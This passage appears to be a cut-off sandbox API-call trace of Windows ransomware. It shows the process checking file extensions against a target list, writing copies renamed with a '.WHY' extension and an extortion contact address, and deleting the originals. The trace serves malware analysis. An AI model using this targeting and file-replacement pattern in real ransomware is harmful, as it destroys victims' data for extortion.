lpString2=".CHM") returned 1 [0225.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.890] lstrlenW (lpString=".doc") returned 4 [0225.890] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.890] lstrlenW (lpString=".docx") returned 5 [0225.890] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0225.891] lstrlenW (lpString=".pdf") returned 4 [0225.891] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.891] lstrlenW (lpString=".xls") returned 4 [0225.891] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.891] lstrlenW (lpString=".xlsx") returned 5 [0225.891] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0225.891] lstrlenW (lpString=".ppt") returned 4 [0225.891] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.891] lstrlenW (lpString=".zip") returned 4 [0225.891] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.891] lstrlenW (lpString=".rar") returned 4 [0225.891] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.892] lstrlenW (lpString=".bz2") returned 4 [0225.892] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.892] lstrlenW (lpString=".7z") returned 3 [0225.892] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.892] lstrlenW (lpString=".dbf") returned 4 [0225.892] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.892] lstrlenW (lpString=".1cd") returned 4 [0225.892] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.892] lstrlenW (lpString=".jpg") returned 4 [0225.892] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.893] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0225.893] lstrlenW (lpString="SETUP.XML") returned 9 [0225.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0225.918] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=2362) returned 1 [0225.918] CloseHandle (hObject=0x320) returned 1 [0225.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0225.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.919] lstrlenW (lpString=".doc") returned 4 [0225.919] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0225.919] lstrlenW (lpString=".docx") returned 5 [0225.919] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0225.919] lstrlenW (lpString=".pdf") returned 4 [0225.919] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0225.919] lstrlenW (lpString=".xls") returned 4 [0225.919] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0225.919] lstrlenW (lpString=".xlsx") returned 5 [0225.919] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0225.919] lstrlenW (lpString=".ppt") returned 4 [0225.919] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0225.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.920] lstrlenW (lpString=".zip") returned 4 [0225.920] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0225.920] lstrlenW (lpString=".rar") returned 4 [0225.920] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0225.920] lstrlenW (lpString=".bz2") returned 4 [0225.920] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0225.920] lstrlenW (lpString=".7z") returned 3 [0225.920] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0225.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.920] lstrlenW (lpString=".dbf") returned 4 [0225.920] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0225.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.920] lstrlenW (lpString=".1cd") returned 4 [0225.921] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0225.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.921] lstrlenW (lpString=".jpg") returned 4 [0225.921] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0225.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.921] lstrlenW (lpString=".doc") returned 4 [0225.921] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0225.921] lstrlenW (lpString=".docx") returned 5 [0225.921] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0225.921] lstrlenW (lpString=".pdf") returned 4 [0225.921] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0225.921] lstrlenW (lpString=".xls") returned 4 [0225.922] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0225.922] lstrlenW (lpString=".xlsx") returned 5 [0225.922] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0225.922] lstrlenW (lpString=".ppt") returned 4 [0225.922] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0225.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.922] lstrlenW (lpString=".zip") returned 4 [0225.922] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0225.922] lstrlenW (lpString=".rar") returned 4 [0225.922] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0225.922] lstrlenW (lpString=".bz2") returned 4 [0225.922] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0225.922] lstrlenW (lpString=".7z") returned 3 [0225.923] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0225.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.923] lstrlenW (lpString=".dbf") returned 4 [0225.923] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0225.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.923] lstrlenW (lpString=".1cd") returned 4 [0225.923] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0225.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0225.923] lstrlenW (lpString=".jpg") returned 4 [0225.923] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0225.924] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0225.924] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0225.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0225.925] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=3186) returned 1 [0225.925] CloseHandle (hObject=0x320) returned 1 [0225.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0225.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0225.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0225.926] lstrlenW (lpString=".doc") returned 4 [0225.926] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0225.926] lstrlenW (lpString=".docx") returned 5 [0225.926] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0225.926] lstrlenW (lpString=".pdf") returned 4 [0225.926] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0225.926] lstrlenW (lpString=".xls") returned 4 [0225.926] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0225.926] lstrlenW (lpString=".xlsx") returned 5 [0225.926] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0225.926] lstrlenW (lpString=".ppt") returned 4 [0225.926] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0225.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0225.927] lstrlenW (lpString=".zip") returned 4 [0225.927] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0225.927] lstrlenW (lpString=".rar") returned 4 [0225.927] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0225.927] lstrlenW (lpString=".bz2") returned 4 [0225.927] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0225.927] lstrlenW (lpString=".7z") returned 3 [0225.927] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0225.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0225.927] lstrlenW (lpString=".dbf") returned 4 [0225.927] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0228.662] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=2739) returned 1 [0228.662] CloseHandle (hObject=0x38c) returned 1 [0228.662] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png")) returned 0x20 [0228.663] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0228.663] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.868] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.869] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0232.040] GetLastError () returned 0x0 [0232.040] ReadFile (in: hFile=0x38c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x4360, lpOverlapped=0x0) returned 1 [0232.315] WriteFile (in: hFile=0x37c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x4370, lpOverlapped=0x0) returned 1 [0232.319] ReadFile (in: hFile=0x38c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.319] WriteFile (in: hFile=0x37c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0232.319] SetEndOfFile (hFile=0x37c) returned 1 [0232.320] CloseHandle (hObject=0x37c) returned 1 [0232.322] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.322] SetEndOfFile (hFile=0x38c) returned 1 [0232.331] CloseHandle (hObject=0x38c) returned 1 [0232.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0232.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0232.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.333] lstrlenW (lpString=".doc") returned 4 [0232.333] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.333] lstrlenW (lpString=".docx") returned 5 [0232.333] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0232.334] lstrlenW (lpString=".pdf") returned 4 [0232.334] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.334] lstrlenW (lpString=".xls") returned 4 [0232.334] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.334] lstrlenW (lpString=".xlsx") returned 5 [0232.334] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0232.334] lstrlenW (lpString=".ppt") returned 4 [0232.334] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.334] lstrlenW (lpString=".zip") returned 4 [0232.334] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.334] lstrlenW (lpString=".rar") returned 4 [0232.334] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.335] lstrlenW (lpString=".bz2") returned 4 [0232.335] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.335] lstrlenW (lpString=".7z") returned 3 [0232.335] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.335] lstrlenW (lpString=".dbf") returned 4 [0232.335] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.335] lstrlenW (lpString=".1cd") returned 4 [0232.335] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.335] lstrlenW (lpString=".jpg") returned 4 [0232.336] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.336] lstrlenW (lpString=".doc") returned 4 [0232.336] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.336] lstrlenW (lpString=".docx") returned 5 [0232.336] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0232.336] lstrlenW (lpString=".pdf") returned 4 [0232.336] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.336] lstrlenW (lpString=".xls") returned 4 [0232.337] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.337] lstrlenW (lpString=".xlsx") returned 5 [0232.337] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0232.337] lstrlenW (lpString=".ppt") returned 4 [0232.337] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.337] lstrlenW (lpString=".zip") returned 4 [0232.337] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.337] lstrlenW (lpString=".rar") returned 4 [0232.337] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.337] lstrlenW (lpString=".bz2") returned 4 [0232.337] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.338] lstrlenW (lpString=".7z") returned 3 [0232.338] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.338] lstrlenW (lpString=".dbf") returned 4 [0232.338] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.338] lstrlenW (lpString=".1cd") returned 4 [0232.338] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0232.338] lstrlenW (lpString=".jpg") returned 4 [0232.338] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.339] lstrcmpiW (lpString1=".xsl", lpString2=".WHY") returned 1 [0232.339] lstrlenW (lpString="sql90.xsl") returned 9 [0232.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0232.373] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=39515) returned 1 [0232.373] CloseHandle (hObject=0x38c) returned 1 [0232.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0232.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0232.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0232.375] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.375] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0232.376] GetLastError () returned 0x0 [0232.376] ReadFile (in: hFile=0x38c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x9a5b, lpOverlapped=0x0) returned 1 [0232.381] WriteFile (in: hFile=0x37c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x9a60, lpOverlapped=0x0) returned 1 [0232.386] ReadFile (in: hFile=0x38c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.386] WriteFile (in: hFile=0x37c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0232.387] SetEndOfFile (hFile=0x37c) returned 1 [0232.387] CloseHandle (hObject=0x37c) returned 1 [0232.390] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.390] SetEndOfFile (hFile=0x38c) returned 1 [0232.420] CloseHandle (hObject=0x38c) returned 1 [0232.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0232.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0232.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.422] lstrlenW (lpString=".doc") returned 4 [0232.422] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.422] lstrlenW (lpString=".docx") returned 5 [0232.422] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0232.422] lstrlenW (lpString=".pdf") returned 4 [0232.422] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.422] lstrlenW (lpString=".xls") returned 4 [0232.422] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.422] lstrlenW (lpString=".xlsx") returned 5 [0232.422] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0232.423] lstrlenW (lpString=".ppt") returned 4 [0232.423] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.423] lstrlenW (lpString=".zip") returned 4 [0232.423] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.423] lstrlenW (lpString=".rar") returned 4 [0232.423] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.423] lstrlenW (lpString=".bz2") returned 4 [0232.423] lstrcmpiW (lpString1=".bz2", 